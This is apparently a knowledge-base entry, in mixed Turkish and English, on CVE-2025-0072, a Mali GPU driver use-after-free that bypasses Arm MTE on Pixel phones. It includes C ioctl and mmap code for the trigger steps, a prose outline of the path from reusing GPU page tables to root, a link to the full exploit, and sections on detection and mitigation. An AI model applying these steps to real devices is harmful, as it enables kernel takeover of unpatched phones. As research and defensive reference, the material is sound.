Skip to content

Bypassing MTE with CVE-2025-0072 (Arm Mali GPU)

Man Yue Mo (GitHub Security Lab), Arm Mali GPU Command Stream Frontend (CSF) driver'ındaki bir use-after-free'in, free edilmiş page'lerin user space'te map'li kalmasına izin verdiğini gösteriyor; access path hiçbir zaman kernel seviyesinde bir pointer dereference içermediği için Memory Tagging Extension (MTE) tamamen bypass ediliyor.

Mechanism

Note

Arm'ın Memory Tagging Extension'ı, kernel address space'teki use-after-free'lere karşı koruma sağlar: kernel free edilmiş belleğe ait tagged bir pointer'ı dereference ettiğinde MTE fault verir. Ancak MTE, free edilmiş belleğe bir user-space virtual mapping üzerinden ulaşan access'leri korumaz.

Mali CSF driver'ı, GPU queue I/O page'lerini mmap() ile user space'e map'ler. Bu page'ler queue->phys içinde saklanır. Bir kbase_queue_group terminate olduğunda queue KBASE_CSF_QUEUE_UNBOUND durumuna geri döner, ama daha önce kurulmuş olan VMA'sı hemen invalidate edilmez. Aynı queue'yu yeni bir group'a rebind edip tekrar mmap() çağırmak, queue->phys'i overwrite eden yeni page'ler allocate eder. Orijinal VMA daha sonra close edildiğinde, kbase_csf_user_io_pages_vm_close yeni page'leri free eder — oysa attacker'ın açık tuttuğu ikinci mapping hâlâ o free edilmiş physical frame'leri referans eder.

Kritik gözlem: insert_pfn(), user page table'da doğrudan bir page-frame mapping oluşturur ve herhangi bir kernel pointer dereference'ını bypass eder. Free edilmiş page'lerin user mapping'i üzerinden okuma veya yazma hiçbir zaman bir kernel MTE check'ini tetiklemez.

Free edilmiş page'ler kbase_mem_pool'a geri döner. Aynı pool, GPU context page-global-directory (PGD) entry'leri için yapılan allocation'ları da karşılar. Attacker, pool'u exhaust edip yeniden doldurarak PGD allocation'larını free edilmiş (ama hâlâ user-mapped) page'lere yönlendirir; böylece GPU page table'larına read/write access kazanır — ve oradan arbitrary physical memory'ye ulaşır.

Walkthrough

Prerequisites: Pixel 7/8/9 (Mali CSF GPU, driver < r54p0) hedefleyen bir Android app.

Step 1 – Bir queue register edip bind et

// Create queue
struct kbase_ioctl_cs_queue_register reg = { .buffer_gpu_addr = ..., .buffer_size = 4096 };
ioctl(mali_fd, KBASE_IOCTL_CS_QUEUE_REGISTER, &reg);

// Create queue group
struct kbase_ioctl_cs_queue_group_create_1_6 grp = { ... };
ioctl(mali_fd, KBASE_IOCTL_CS_QUEUE_GROUP_CREATE, &grp);

// Bind queue → group; driver returns an mmap handle
struct kbase_ioctl_cs_queue_bind bind = { .group_handle = grp_handle, ... };
ioctl(mali_fd, KBASE_IOCTL_CS_QUEUE_BIND, &bind);

// Map the I/O pages; pages stored in queue->phys
void *mapping1 = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE,
                       MAP_SHARED, mali_fd, bind.mmap_handle);

Step 2 – Group'u terminate et (queue'yu unbind et)

struct kbase_ioctl_cs_queue_group_term term = { .group_handle = grp_handle };
ioctl(mali_fd, KBASE_IOCTL_CS_QUEUE_GROUP_TERMINATE, &term);
// queue state → KBASE_CSF_QUEUE_UNBOUND; mapping1 still open

Step 3 – Yeni bir group'a rebind et ve remap yap

// New group
ioctl(mali_fd, KBASE_IOCTL_CS_QUEUE_GROUP_CREATE, &grp2);
ioctl(mali_fd, KBASE_IOCTL_CS_QUEUE_BIND, &bind2);

// New mmap: driver allocates fresh pages → queue->phys now points to NEW pages
void *mapping2 = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE,
                       MAP_SHARED, mali_fd, bind2.mmap_handle);

Step 4 – Yeni page'leri free etmek için mapping1'i release et

munmap(mapping1, PAGE_SIZE);
// kbase_csf_user_io_pages_vm_close frees NEW pages (queue->phys)
// BUT mapping2 still has those physical frames mapped into user VA

Step 5 – Free edilmiş page'leri PGD allocation'larına yönlendir

// Pressure kbase_mem_pool until freed frames are reused as GPU PGD
// mapping2 now provides R/W access to live GPU page-table structures
// Rewrite PGD entries to map arbitrary physical addresses into GPU VA space

Step 6 – Kernel code execution

Arbitrary physical R/W via GPU → locate kernel .text / cred structures
Overwrite kernel code or process credentials → root + SELinux disable
Tested on Pixel 8, Android November 2024 patch level (Mali r53)
Exploit reference

Tam exploit kaynak kodu şu adreste mevcut: https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Mali/CVE-2025-0072

Detection

  • Unprivileged bir process'ten aynı queue handle üzerinde alışılmadık KBASE_IOCTL_CS_QUEUE_GROUP_TERMINATEKBASE_IOCTL_CS_QUEUE_BINDmmapmunmap dizileri.
  • Mali driver telemetry: GPU context oluşturma patlamalarıyla aynı anda gerçekleşen kbase_mem_pool exhaustion event'leri.
  • Bu teknik için kernel MTE raporları tetiklenmez; behavioral detection'a güvenin.

Mitigation

  • r54p0 patch (May 2025): Arm, kbase_queue I/O page'lerinin lifecycle yönetimini düzeltti; artık bir queue group terminate edildiğinde, page'ler yeniden allocate edilmeden önce bekleyen tüm user-space VMA'lar düzgünce invalidate ediliyor.
  • Defense-in-depth: GPU access'ini (mümkün olduğu yerde) privileged process'lerle sınırlamak, unprivileged app attack surface'ini azaltır.
  • Bu teknik, free edilmiş bellek user-space mapping'ler üzerinden hâlâ erişilebilir kaldığında MTE'nin tek başına yetersiz olduğunu gösteriyor; physical frame'ler user ve kernel context'leri arasında paylaşıldığında vm_close callback'leri mutlaka audit edilmeli.

References